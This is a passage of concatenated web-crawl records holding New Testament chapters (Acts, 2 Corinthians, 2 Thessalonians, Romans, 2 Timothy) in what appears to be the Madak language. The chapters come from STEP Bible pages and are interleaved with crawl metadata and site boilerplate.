laraugu lotu getgesara luradi vavang duga sok katling loxongkulao silok ti lok tatao limixin; duga ngising la duga mun anan la duga lok li di maxopok at loklok tatao at Leeme Silok, mo diga nuunu ren. 24 La nedu duga vas kaxat la dugat pas kantubu at lenep silok Pisidia, duga rupot to at lenep silok Pampilia. 25 Duga vavang mi Lagale Lavavang to at lemenemen Pega, la melemu duga vas kaxat uto Atalia.\n26 La duga los kas at lavattaaxup go Atalia la duga sen uto Antiok; ap mo lemenemen no limixin nuunu diga raba nedu maxopok at letaba nabalamu at ne Moroa ri lugugu mo duga lox axap pam i. 27 Duga rupot to Antiok la duga ro bubua limixin axap at lotu, la duga tong asu lempanga ne Moroa ga lox i at levengkikngen du; la duga tong i do ne Moroa ga suang langas ti limixin kopmen di me Judaia xusu dina nuunu. 28 La buaang leven gaaling duga nemen go eburu mi limixin nuunu.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Act.14","date":"2018-10-19T05:06:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512323.79\/warc\/CC-MAIN-20181019041222-20181019062722-00034.warc.gz","language":"mmx","language_score":0.9999573231,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999573230743408}","num_words":1078,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 1\nLavapaase Axasep1 Nenia ne Pol, laradi vavang at ne Iesu Karisito; Moroa xa ga soxolik ka ia ri mo lugugu; ne Timoti, neton dik i paase aru box ia at na lovoang.\nNia a sok na lovoang tinemi limixin mi nuunu at ne Moroa dom Korin, la tinemi bok limixin nuunu mik lok to at lengkot axap at lenep silok Grik.\n2 Letaba nabalamu mi lenmila rinemi boro at ne Moroa ne Temen nedik la Leeme Silok atdik ne Iesu Karisito.\nPol Ga Tong Aorong Ti Ne Moroa3 Ata emi asu mi ne Moroa ne Temen Leeme Silok atdik ne Iesu Karisito; Temen dik kusuk mun lavasuun at labalamu, la neni lo Moroa at loklox amenemen. 4 Neni xusuk mun i lox amenemen nama at levenmumuat it pot parap nama, kusu nema bok maba epovo xusu mana lox amenemen nedi di ruuna levenmumuat kerepmo mi na lavapaase amenemen, nema maga ruuna ka i boro at ne Moroa. 5 Nema map kip buaang laxasongsongot keneng at lunuunu atnama saparap ne Karisito; kuren la keneng at ne Karisito nema ma ruuna xaka bok loklox amenemen silok at ne Moroa. 6 Mo do mana songot at lorooro axap atnama mumu nimi, naba lox avukat aleng mila losongsongot atnama naba lox asuusu loklox amenemen eburu mi lorooro rinimi; la mo do mana lok kaka loklox amenemen ukeneng ti lorooro atnama, na bok naba ravasu ngan loklox amenemen ti lok tooro nimi, mo loklox amenemen i su auru nimi xusu mina tu lolos tip kip mo levesongsongot ngan nema map kiv i. 7 Nema maklen tinotno i do nemi minaba tu lolos at lunuunu atnimi; atla mi vekip tangarang mi mo levesongsongot eburu minama la mira ruuna xaka bok loklox amenemen ngan nama.\n8 Luvutnetak mi luvurinuk. Ma vara i xusu mina xasep ti levenmumuat maga ekip tangarang min to Asia. Mo levenmumuat maga xip tutu min ga silok aleng la ga mumuat aleng, la ma lixilik maga lok do mana doma abulubun ta at lorooro atnama. 9 I ruturun tinotno do maga nua i do nema mo mana met ta. Ketla ana lumumuat ga vot ti lox alolos nama xusu ma noxo nuunu at lolos axa atnama, ketla at ne Moroa xusuk mun, mo ik lox arooro limixin basinge lanmet. 10 Neni ga ranga asepsu nama basinge mo langas ti lanmet la neni nabak lox amisik box i. La ma lok li lodoxoma voovo mavana ren do neni mo nabang tanga axatu bok nama at levenmumuat i nemen tangais nama at na levenaleng i tu umelamgo atnama. 11 Nemi bok miba lok tooro nama mi levesingising; kuren la buaang bok atnemi diba tong aorong ti ne Moroa do neni ga vorang levesingising atnimi la ga lox aroo nama basinge lanmet.\nPol Ga Lox Ekun Lodoxoma Ren12 Nema ma lok momo aleng, mila lodoxoma nunuan atnema i lox ase nema do, loklok atnema at na lavatbung menemen ngan maga ebibinat ka minemi, ga lok nunuan mene nga la kopmen taxakapmek teren ngan ne Moroa ga lok tooro nama min. Kuren mun maga mumu asu letaba nabalamu at ne Moroa la kopmen do at lakleklen maut at laradi at na laxangka. 13 Ma malagan na lovoang tinimi mi levelinga i xasep aleng la kopmen tevelinga ren go ik lox alipe. La nia am domam poovo i do mibaklen axasep nunuan ba mo levelinga, 14 nemi mi goxo xasep nunuan teren; kuren la nemi minaba lok momo aleng mumu nama kerekngan nema maba lok momo mumu nimi ap mo laaleng Leeme Silok ne Iesu namlong teren.\n15 Nia agaraklen tinotno vam i na, kuren la nia aga doxoma i do anat pas avot be udom atnimi xusu miba lok ka amu manga leveloklox anarong. 16 Aga doma gagas i xusu at lavatpas tarak uto Masadonia la lomlong bok tarak, aba vot pasa be nimi xusu anaba lok ka teveloklok tooro me dom atnimi ti lavatpas tarak uto Judaia. 17 Ise nenia aga soxovo li i na, aga soxovo li i mi luruturun, nia xopmen agoxo soxovo li mene i mi loklok at na lavatbung menemen la ana sisiam gamasa mene do tuturun la kopmen.\n18 Levelinga at ne Moroa i paase asu i, i ruturun la kerepmo levelinga rak tinimi xopmen loxolinga mene do tuturun kopla kopmen. 19 I lok ngan ne Iesu Karisito, Nitna ne Moroa, mo nema mi ne Sailas la ne Timoti maga vavang min kantubu atnimi, neni xopmen na voovo ela mi levelinga ren, ketla kusuk mun neni i paase ruturun. 20 I ngan do buaang laxampapaase alii at ne Moroa, ne Iesu ga lox asorun i. Kuren la ne Iesu Karisito ni luruturun la ma vaase asu i ri lox asuusu lisisixam at ne Moroa. 21 Moroa xa ik lox alolos nema eburu minimi xusu dik ataba tu atmatkun keneng at ne Iesu Karisito. Neni ga soxolik ka dik, 22 la neni ga lok katling dik do ateren akmokso la ga lok li Loroonan Kaala ren keneng atdik ngan lampinebeng.\n23 A sing ne Moroa xusu na vaase aru ia at na levelinga ana vaase i, la neni ikleklen axap keneng at lorooro rak. Nia a goxopara na lok li lumumuat atnimi; ni lavasuun teren la nia goxot pas udom Korin. 24 Ma xopara i do mana pu soso nimi ri levelinga salai miba nuunu ren, mila mi tu lolos pam at lunuunu atnimi. Ketla ma gugu xantubu atnimi xusu miba ruuna ka lomomo.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Cor.1","date":"2018-10-18T16:05:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511889.43\/warc\/CC-MAIN-20181018152212-20181018173712-00394.warc.gz","language":"mmx","language_score":0.9999625683,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999962568283081}","num_words":1045,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.255,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 5\nLoogu Atdik No Vana At Laxalibet1 Dik atakleklen i do lorooro atdik at na labantuxu noxo nemen abao, ba lok ngan mun loogu xukuxut. Mo do ira rem utut pam, nedik di ruuna lara loogu ro vana at laxalibet ne Moroa ga gagas li vam i ridik la naba tu amisik. Mo loogu limixin di goxo lok i mi levengkikngen di. 2 Nade at na lavatbung menemen nedik tap kup sae mi levesongsongot la ata vara nga i do ata siga ka mo lorooro boro vana at laxalibet. 3 Do nedik ata siga i, ne Moroa noxo long lenget ka dik atak lok beleben. 4 Nedik nave tak lok at na lorooro, atap kup sae mi levesongsongot la tap kip levenaknixip; la kopmen do dik dira vara nga i do dina lok kepe labantuxu atdik, ketla ata vara i do ata siga ka nga lorooro boro vana at laxalibet, kusu lorooro at na labantuxu, lorooro avolo naba sumkonom ka i. 5 Moroa xa neni ga gagas pam nedik ti na lorooro avolo, la neni ga raba nedik mi Loroonan teren ngan lampinebeng ti mo levempanga neni i ruuna i do ridik.\n6 Kuren la amisik nedik di abelemes. Atakleklen i do nedik nave dik lok at na lorooro at na labantuxu, di nemen to vetpes basinge Leeme Silok. 7 La nedik dit pas mi lunuunu, keke i do nedik taxo reven mo lempanga dik di nuunu ren. 8 Nedik di abelemes la ta vavara aleng i do ata on basinge na lorooro at na labantuxu la atana lok ka lorooro avolo ro at lemenemen aulis atdik eburu mi Leeme Silok. 9 Kuren la do nedik tak lok at na lorooro kopla ata met, ata lolos kusu atak lox amomo Leeme Silok; 10 mila nedik getgesara ataba ru asuvos to melamgo at lenep tongtonga linga at ne Karisito; kusu nedik getgesara ataba lok ka luunun, i nunuan kopla i lok kapmek; la neni ba raba i na i epovo at loklok atnedik at na lorooro at labantuxu.\nAtatkis Ekilen Eburu Mi Ne Moroa Xeneng At Ne Karisito11 La nema luvuttadi vavang makleklen ua lavasuun teren kusu ata marat at lebelemamao at Leeme Silok, kuren la ma gugu lolos kusu ri lok ka buaang nedi limixin. Ne Moroa ikleklen avukat lorooro atnama, la a doma box i do keneng at lorooro atnimi miklen avukat bok lorooro atnama. 12 Nema maxo lok do mana lox aru lorooro atnema rinimi; ketla ma vara i xusu mana lok nimi xusu mina mumu lorooro atnama. Kerepmo la miba epovo ri vorang nedi luvuttadi dik lox asilok di mumu lixitkis silok atdi la dixo ila mumu luruptuvuk atdi. 13 Mo do mana vaase la lodoxoma atnema na ngan ta do i baulang, ma lox i xusu ri lox aurut lugugu at ne Moroa; la do lodoxoma atnema na xasep, ma lox i ri lok tooro nimi. 14 Labalamu at ne Karisito i sasat dik, la atakleklen tuturun i do legesara mun ga uu nop loklok at limixin axap, i lok ngan ta do limixin axap diga met. 15 Neni ga uu nop loklok at limixin axap kusu do nege nedi di rooro at na lavatbung menemen, di noxo rooro rinedi xa, ketla dina rooro ri ne Karisito mo ga doma di la ga met la ga roo xat amlong.\n16 Kuren la i ru ka nga i mo, nema maxo doma mumu bok ba lodoxoma at na lavatbung menemen ti ila mumu loklok at limixin, ngan no nema maga ila mumu bok loklok at ne Karisito xerepmo, ketla mo nga maxo lok bok ba i xuren. 17 Do tara i nuunu at ne Karisito, neni i ngan laradi maxat at loroonan teren; levempanga xapmek at lorooro maut ira xap pam, la lorooro maxat mo ira vot ta. 18 Ana axav i boro at ne Moroa, la keneng at ne Karisito neni ga vaxat buru dik at lixitkis munepen atdik eburu min kusu nedik ateren; la ni ga raba nema mi lugugu ri vaxat buru limixin uto saparap ne Moroa. 19 Moroa gak lok mo lugugu ren keneng at ne Karisito, ni ga vaxat buru ka limixin at na lavatbung menemen do tin; la ni goxo doma mu laxakapmek digak lox i. La ni ga raba nema mi levelinga mumu na lugugu ri vaxat buru limixin uto saparap ne Moroa. 20 Kuren la nema ma paase katling ne Karisito, la ne Moroa i toro rinimi xeneng at levempapaase atnama. Ma sing nemi at laasen at ne Karisito do mina ke ne Moroa na vaxat ka nimi uto saparav i. 21 Karisito neni xopmen taxakapmek teren, ketla ti lununuan tidik, Moroa ga lox i ga xip tutu mi laxakapmek atdik, kusu keneng teren ataba ravasu ngan limixin mokmokso at ne Moroa.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Cor.5","date":"2018-10-16T10:30:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510749.37\/warc\/CC-MAIN-20181016093012-20181016114512-00398.warc.gz","language":"mmx","language_score":0.9999961853,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999961853027344}","num_words":937,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.291,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Thessalonians 1\nLavapaase Axasep1 Nenia ne Pol. Nema mi ne Sailas la ne Timoti, ma malagan na lovoang tinemi limixin nuunu dom Tesalonia. Nemi limixin at ne Moroa ne Temen dik la Leeme Silok, ne Iesu Karisito.\n2 Letaba nabalamu la lenmila boro at ne Moroa ne Temen dik la Leeme Silok, ne Iesu Karisito na nemen eburu minemi.\nLaaleng Ete La Lovotpot At Ne Iesu3 Luvutnetak mi luvurinuk. I lox avukat do nema ma tong avukat amisik ti ne Moroa mumu nimi. I lox avukat mila lunuunu atnimi ira susu silok la labalamu ela xantubu atnimi ira sisilok bok. 4 Kuren la nema ma xip aurut nimi ri levelotu at ne Moroa, mila nemi mi tu lolos at lunuunu atnimi kantubu at levesongsongot mi levenmumuat, mo mip kiv i.\n5 Lunuunu atnimi i tu lolos, la na i lox asuusu i do lodoxoma at ne Moroa ik mokso aleng la at laaleng ete neni naba ila mumu loklok atnimi la minaba epovo xusu mina vubeles uto xeneng at Linintoo ren. Ni lavasuun at levesongsongot atnimi. 6 Moroa ik mokso aleng la neni ba vorang levesongsongot atnedi dim taba nimi min. 7 La neni naba lok kepe levesongsongot basinge nimi la atnema bok ap mo laaleng Leeme Silok, ne Iesu naba si ukopok boro vana at laxalibet. Neni ba vot eburu mi lubungangelo lolos teren la lisisixam silok, naba soosoo ngan laxao bokbolot. 8 La ne Moroa naba lox asongot nedi, dixokleklen i la nedi bok kopmen dinang tonga res at Lagale Lavavang at Leeme Silok atdik ne Iesu. 9 La Leeme Silok naba raba di mi lumumuat i silok aleng la dibap kip amisix i. Diba nemen amisik to vetpes basinge lemeren Leeme Silok la di noxo suma lololos avukat at ne Moroa. 10 Diba lok ka na lumumuat ap mo laaleng ne Iesu naba si ukopok la limixin axap teren diba emi asu min la diba lok ngangao ren. La nemi bok miba emi asu min, mila miga siam kaka Lagale Lavavang maga tong asu i rinimi.\n11 Kuren la ma ngising amisik ne Moroa do neni na lox epovo nimi ri mo lorooro melemu, mo ne Moroa atdik ga ro ka nimi rin. La neni na lok tooro nimi mi lololos teren kusu miba epovo do mina lok leven gugu nunuan kerekngan limixin nuunu di vara na lox i. 12 La kerepmo limixin diba ven leven gugu nunuan atnimi la diba emi asu mi ne Iesu Karisito la diba emi asu bok minimi. Naba ravasu xuren mila ne Moroa atdik mi Leeme Silok ne Iesu Karisito du lox asuusu letaba nabalamu rinimi.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Th.1","date":"2018-10-22T21:23:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583515539.93\/warc\/CC-MAIN-20181022201445-20181022222945-00102.warc.gz","language":"mmx","language_score":0.9996626377,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9996626377105713}","num_words":587,"character_repetition_ratio":0.06,"word_repetition_ratio":0.01,"special_characters_ratio":0.212,"stopwords_ratio":0.235,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 4\nLavapaase Poovo At Ne Abaram1 Ataba tong ka nga i do kereva mumu ne Abaram lavareme avolo at lavalabat atnedik? La neni gakleklen lavanga sala na loklok ti lox amokso laradi? 2 Do neni ga sepmus basinge laxapmek at leven gugu neni gak lox i, neni gitaba ruuna tavanga neni gibam simi i ren. Ketla neni goxo epovo xusu na simi aurur i at lemeren ne Moroa. 3 Lovoang Kaala i vaase xeretna,\n\"Abaram ga nuunu at ne Moroa, la at lunuunu mun teren la ne Moroa ga siam kaka i ngan laradi mokmokso.\" a\n4 Laradi do i gugu, ik lok kaka luunun, luunun teren kopmen na lok ngan laramtaba, ketla ik mokso do neni na lok ka i. 5 Do laradi xopmen na nuunu saga at leven gugu neni ik lox i, ketla i nuunu at ne Moroa mo i lox asepmus limixin dik lok laxakapmek, lunuunu mun teren i lox i la ne Moroa i siam kaka i ngan laradi mokmokso. 6 Neni na lavasuun at levelinga at ne Devit at loxonaleng neni ga paase mumu luvukat ti mo laradi ne Moroa i siam kaka i ngan laradi mokmokso, la kopmen do at leveloklok teren ik lox i;\n7 \"Luvukat tinedi ne Moroa ga domampe laxaloklok kakapmek atnedi, la neni gara sibo pe vam laxakapmek atnedi! 8 La luvukat ti mo laradi, Leeme Silok noxo doma rinotno bok ba laxakapmek teren.\" b\n9 Kereva, na luvukat ne Devit ga paase min, atnedi xusuk mun di rivit kepe lengkontuxu atnedi? Kopmen. Tinedi bok kopmen dina vit kepe lengkontuxu atnedi. I ngan loxot at Lovoang Kaala i lok keretna, \"Abaram ga nuunu at ne Moroa, la mumu mun lunuunu ren, ne Moroa ga siam kaka i ngan laradi mokmokso.\" 10 Na luvukat ga vot tinotno at ua loxonaleng? Ga vor avot kopla, ga vot ba melemu at laaleng diga vit kepe loxontuxu at ne Abaram? Taklen i do ga vor avot, la kopmen do melemu ba. 11 Diga vit kepe loxontuxu ren ga melemu ba, la mo loklok diga lox i rin, ga lok ngan loklok katling ti lox asorun i do at lunuunu mun at ne Abaram, ne Moroa ga siam kaka i ngan laradi mokmokso, avot tinotno ri livirivit kepe loxontuxu ren. Kuren la ne Abaram i lok ngan ne temen nedik axap di nuunu at ne Moroa la dik lok keneng at lisisiam ngan luvuttadi mokmokso ren, nedi bok di goxovisi vit kepe lengkontuxu atnedi. 12 Neni ne temen nedi bok mo diga vit kepe vam lengkontuxu atnedi la diga lok ka lunuunu ngan lunuunu at ne temen nedik ne Abaram ga ruuna i, avot tinotno ri laaleng diga vit kepe loxontuxu ren.\nLaxakaape At Ne Moroa Naba Sorun At Lunuunu Mene13 Ne Moroa ga lok laxakaape eburu mi ne Abaram do lavatbung menemen axap, ateren eburu mi livipisik li ren. Na laxakaape goxo vot mumu i do ne Abaram gang tonga res at Lenavolo, ketla atla neni ga nuunu. Kuren la ne Moroa ga siam kaka i ngan laradi mokmokso. 14 Do lavanga ne Moroa ira xaape vam min kusu naba raba i rinedi ding tonga res at Lenavolo, naba lok ngan do kopmen tavasuun at lunuunu at laradi la laxakaape bok at ne Moroa neni lavanga gamasa. 15 Lenavolo ik lox asuusu lebelemamao at ne Moroa, ketla do xopmen tenavolo, kopmen bok torongtonga xepe at Lenavolo.\n16 Kuren la laxakaape at ne Moroa naba sorun mun mumu lunuunu, kusu ne Moroa na lox asuusu letaba nabalamu ren la laxakaape ren naba sorun ti livipisik li axap at ne Abaram kerekngan levelinga at ne Moroa ga tong i. Kopmen do tinedi xusuk di mumu asu Lenavolo, ketla tinedi bok di nuunu ngan ne Abaram, neni ne temen nedik axap di ruuna lunuunu. 17 I ngan Lovoang Kaala i vaase i xeretna,\n\"Ara lok li vam u ngan ne temen limixin keneng at laranep silok buaang.\" c\nKuren la na laxakaape naba sorun ngan ne Moroa ga tong alii i la ne Abaram ga nuunu ren. Neni ne Moroa ik lox aroo luvuttadi basinge lanmet la mi levelinga mun teren neni ga rudum li levempanga goxovisi vot.\n18 Ga lolos aleng ti ne Abaram kusu na nuunu ap mo laxakaape at ne Moroa rin, ketla neni ga nuunu ren la gam doma voovo rin; kuren la neni ga ravasu ngan ne temen limixin at laranep silok buaang. I ngan Lovoang Kaala i vaase i xeretna,\n\"Livipisik li ram naba umsu.\" d\n19 Ga auret kusu levenmaares teren na lok ka lasangaun kobot (100) maares axap; ketla lunuunu ren goxo molo at levenaleng neni gam doma mumu labantuxu ren, ua gak milik ngan laradi met, kopla mumu ne Sera ga sioxo nga la ni goxo ruuna taxaalik. 20 Lunuunu ren goxo on basinge i, la neni bok goxo lox abulubun laxakaape at ne Moroa; ketla lunuunu ren ga suxa aumsu i mi lololos, la neni ga xip aurut laasen at ne Moroa. 21 Neni ga doxoma rinotno i do ne Moroa ga epovo ri lok levempanga neni ga xaape min. 22 Neni ba na lavasuun teren la ne Moroa ga siam abeles kaka i ngan laradi mokmokso mumu mun lunuunu ren saparap ne Moroa. 23 Na levelinga i vaase xeretna do,\n\"Moroa ga siam ka i ngan laradi mokmokso.\" e\nDi goxo malagan i xusu tin kusuk mun. 24 Diga malagan box i rinedik do ne Moroa naba siam ka nedik ngan luvuttadi mokmokso, la di nuunu at neni ga lox aroo amlong ne Iesu, Leeme Silok atnedik basinge lanmet. 25 Moroa ga song araba i xusu naba met mumu laxakapmek atnedik, la ni ga roo xat amlong kusu ri lox asepmus dik.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rom.4","date":"2018-10-22T03:26:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514497.14\/warc\/CC-MAIN-20181022025852-20181022051352-00419.warc.gz","language":"mmx","language_score":1.0,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0}","num_words":1086,"character_repetition_ratio":0.081,"word_repetition_ratio":0.002,"special_characters_ratio":0.221,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Timothy 2\nLaradi Esep Tuturun At Ne Iesu Karisito1 Timoti, nenu lamdak tarak. Nia a tong i na ru do una lolos at letaba nabalamu nedik tan tuuna ka i at ne Iesu Karisito. 2 Unam tebeng alolos levenanasa nu uga ronga ia aga paase asu i at lemeren nedi buaang limixin, una raba nedi limixin min no di epovo nam tebeng avukar i, la di epovo na lox ase limixin petpes bok min.\n3 Do levesongsongot na vot saparav u, una tu lolos at lunuunu ram kerekngan laradi esep at ne Iesu Karisito. 4 Laradi esep i gugu lolos kusu laradi gomgo ren na lok momo min, la neni noxo gugu at teven gugu vetpes. 5 Una lok ngan bok laradi ik sixit at lekampoovo. Do neni i vara na sixit polo nedi dik sixit eburu min, neni na mu asu avukat levelinga at luvuttadi di lok tatao mo lekampoovo. 6 Una lok ngan bok laradi gugu taamang; neni i gugu lolos kusu neni avot na lok kaka loxot at levempipisik at laraamang. 7 Una doxoma na levelinga nia a paase i, mila Leeme Silok naba lox axasev u mi lavasuun teren.\n8 Una doxoma ne Iesu Karisito, neni ga roo xat amlong basinge lanmet, neni livisik li at ne Devit. Anai levelinga ni Lagale Lavavang nia a vavang min. 9 La nenia a ekip tangarang mi levesongsongot atla nia a vavang mi Lagale Lavavang, la di xoxo alis ia ngan laradi xapmek mi lavaroos; ketla levelinga at ne Moroa xopmen na nemen at lavaroos. 10 Kuren la nia a tu lolos keneng at levesongsongot kusu ri lok tooro mo lavaanat soxolik at ne Moroa la kusu nedi bok dinaba lok kaka loklox arooro at ne Iesu Karisito la ri lox asuusu bok lisisixam avolo ren. 11 Na levelinga i ruturun;\n\"Do dik taga met buru vam min, dik ataba roo xat eburu bok min. 12 Do dik tana tu lolos keneng at levesongsongot, dik tanaba lok tatao limixin eburu min. Do dik ata sev apkap kepe i, neni bok naba sev apkap kepe dik. 13 Do dik kopmen ata ruturun, neni move na ruturun, mila neni noxo los polo levelinga ren.\"\nLaradi Gugu Ruturun At Ne Moroa14 Una tong aronga amisik limixin at lotu mi na levelinga la una paase lolos tidi at lemeren ne Moroa do nemen dita etep mi levelinga. Na loklok ixo lok tooro di la naba lok kapmek lodoxoma at limixin tongtonga.\n15 Nenu xa una lolos kusu luruptuvuk taram naba lox avukat at lemeren ne Moroa ngan laradi xopmen na lok mamangan mi lugugu ren, la neni i anasa avukat mi levelinga ruturun at ne Moroa.\n16 Nemen uta paase eburu mi limixin di paase rangtangku la di paase ngan ta xopmen dina lok ngangao at ne Moroa; la mo loklok atdi i sat kaka limixin basinge ne Moroa; 17 la levelinga xerepmo i lok ngan laxanabi silok, mo i anan labantuxu at laradi. Legepu radi du anasa xerepmo, ne Aimenias mi ne Pilatas. 18 Nedu duga soogong basinge levelinga ruturun at ne Moroa. La duga lok kapmek lunuunu at leventaba limixin, duga xarang di keretna, \"Moroa ga lox arooro vam limixin at na lorooro la noxo lox axatu amlong bok ba limixin basinge lanmet.\" 19 Ketla levelinga at ne Moroa i tu lolos la kopmen tara i epovo na ba gili i. Diga lox amuat levelinga ren keretna,\n\"Leeme Silok ikleklen nedi ateren axa,\" a\nla\n\"Nedi di tong asu i do nedi limixin at Leeme Silok, dina lok kepe laxakapmek at lorooro atdi.\" b\n20 At loogu silok at lara leeme silok leventingtigon mo ik lok; diga lox i mi levempanga i nunuan ngan leven gol la levenuat gamgames. La leventaba leventingtigon bok diga lox i mi levengkonuna la diga vov i ro maxamang mi lengkongkangka mila leventaba di ove min at levenaleng silok, la mo leventaba vetpes di ove min at levenaleng gamasa. 21 Lavasuun at nom keretna; do tara i lok kepe leveloklok kakapmek teren, neni naba lok ngan nom leventingtigon avukat di anan min at levenaleng silok, atla ni i lok lugugu avukat ti leeme silok teren la ni i gagas kusu na lok leven gugu nunuan. 22 Kuren la una ke xepe leveloklok kakapmek, kerekngan loklok at luvuraau; la una lolos kusu una mu asu leveloklok keretna; loklok mokmokso, lunuunu, labalamu, la limila. Una lok na levempanga eburu minedi limixin di nuunu at Leeme Silok la nedi lorooro atdi i lok nunuan.\n23 Ketla una nemen petpes basinge limixin tangtangku la di etep mi levelinga rangtangku. Limixin dik lok kerepmo, di lox asuusu levenekarakat. 24 Lasaxaruki at Leeme Silok, kopmen noxo lok levenekarakat, neni na etaba belen mi limixin axap, la neni lagale laradi loklox ase. 25 Neni na lok ngan laradi mulus do ni nak lox akmokso nedi xopmen dina etaba belen min, kusu ne Moroa naba siam ka amlong di la ni na doxoma xepe laxakapmek atnedi la dinabaklen luruturun. 26 La melemu levendoxoma atnedi 